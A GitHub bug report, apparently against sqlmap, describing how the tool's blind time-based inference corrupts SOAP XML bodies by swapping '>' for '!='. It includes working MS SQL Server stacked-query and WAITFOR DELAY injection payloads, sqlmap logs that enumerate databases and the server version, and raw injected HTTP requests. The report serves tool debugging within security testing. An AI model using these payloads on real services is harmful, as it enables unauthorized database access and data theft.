Skip to content

Bad global substitution on blind time injection inside SOAP #2228

@diegomolina

Description

@diegomolina

Hello, I think I found an issue with blind time-based injections inside SOAP parameters. I was doing an attack on a certain client's SOAP web-service and was getting errors like the following:

$sqlmap -r request.txt --force-ssl -technique=T --dbs --time-sec 2 -v3
...(snip)...

---
Parameter: #1* ((custom) POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
   <soap:Header/>
   <soap:Body>
      <tem:ConsultaUsuario>
         <tem:CodProveedor>123</tem:CodProveedor>
         <tem:ClaveProveedor>321';WAITFOR DELAY '0:0:2'--</tem:ClaveProveedor>
         <tem:ReferenciaCliente>1234</tem:ReferenciaCliente>
      </tem:ConsultaUsuario>
   </soap:Body>
</soap:Envelope>
    Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--

---
...(snip)...
[13:46:02] [PAYLOAD] ';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))>49) WAITFOR DELAY '0:0:2'--
[13:46:02] [PAYLOAD] ';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))!=49) WAITFOR DELAY '0:0:2'--
[13:46:02] [DEBUG] got HTTP error code: 400 (Bad Request)
[13:46:02] [WARNING] detected HTTP code '400' in validation phase is differing from expected '200'
[13:46:02] [ERROR] invalid character detected. retrying..
[13:46:02] [PAYLOAD] ';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))>51) WAITFOR DELAY '0:0:2'--
[13:46:02] [PAYLOAD] ';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))>48) WAITFOR DELAY '0:0:2'--
[13:46:07] [PAYLOAD] ';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))>49) WAITFOR DELAY '0:0:2'--
[13:46:07] [PAYLOAD] ';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases),1,1))!=49) WAITFOR DELAY '0:0:2'--
[13:46:07] [DEBUG] got HTTP error code: 400 (Bad Request)
[13:46:07] [ERROR] invalid character detected. retrying..
...(snip)...

It seemed like I was getting a 400 (Bad Request) response every time sqlmap sent a request containing != instead of >. So I sent sqlmap through a proxy to log the requests and found out that all 'Greater Than' symbols are being replaced by '!=', including those of the XML tags. For example, the last 2 requests looked like the following:

POST /vulnerable_webservice.asmx HTTP/1.1
Content-Length: 507
Accept-Encoding: gzip,deflate
Connection: close
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Host: webservice.victim.com
Content-Type: application/soap+xml;charset=UTF-8;action="http://tempuri.org/ConsultaUsuario"

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
   <soap:Header/>
   <soap:Body>
      <tem:ConsultaUsuario>
         <tem:CodProveedor>123</tem:CodProveedor>
         <tem:ClaveProveedor>321';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1))&gt;49) WAITFOR DELAY '0:0:2'--</tem:ClaveProveedor>
         <tem:ReferenciaCliente>1234</tem:ReferenciaCliente>
      </tem:ConsultaUsuario>
   </soap:Body>
</soap:Envelope>
POST /vulnerable_webservice.asmx HTTP/1.1
Content-Length: 518
Accept-Encoding: gzip,deflate
Connection: close
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Host: webservice.victim.com
Content-Type: application/soap+xml;charset=UTF-8;action="http://tempuri.org/ConsultaUsuario"

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/"!=
   <soap:Header/!=
   <soap:Body!=
      <tem:ConsultaUsuario!=
         <tem:CodProveedor!=123</tem:CodProveedor!=
         <tem:ClaveProveedor!=321';IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1))!=77) WAITFOR DELAY '0:0:2'--</tem:ClaveProveedor!=
         <tem:ReferenciaCliente!=1234</tem:ReferenciaCliente!=
      </tem:ConsultaUsuario!=
   </soap:Body!=
</soap:Envelope!=

I checked /lib/techniques/blind/inference.py and lines 205 and 210 seem to be where the replacement takes place, however the replacement is done over the 'payload' variable, which seems right. Perhaps payload is being assigned to the whole body of the request at some point?

Anyway, I decided to edit /lib/core/settings.py and replaced the constants INFERENCE_GREATER_CHAR and INFERENCE_NOT_EQUALS_CHAR with ")>" and ")!=" respectively just to test if that would 'fix' the issue since that would prevent the replacement of the XML closing marks in my specific case (I am not proposing this as a fix, of course). After running with this change I didn't get the errors, which seems to validate my findings.

This was tested initially on Mac OSX 10.11.6 (El Capitan) with sqlmap installed via Homebrew, which shows version '1.0.10#stable'. I then used the most current version from git master branch (version 1.0.10.33#dev) directly and got the same problem (Python version is 2.7.10). Also, my first test used a custom injection point, but letting sqlmap detect the SOAP request and indicating the affected parameter produced the same error.

Thanks for reading.

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

Milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions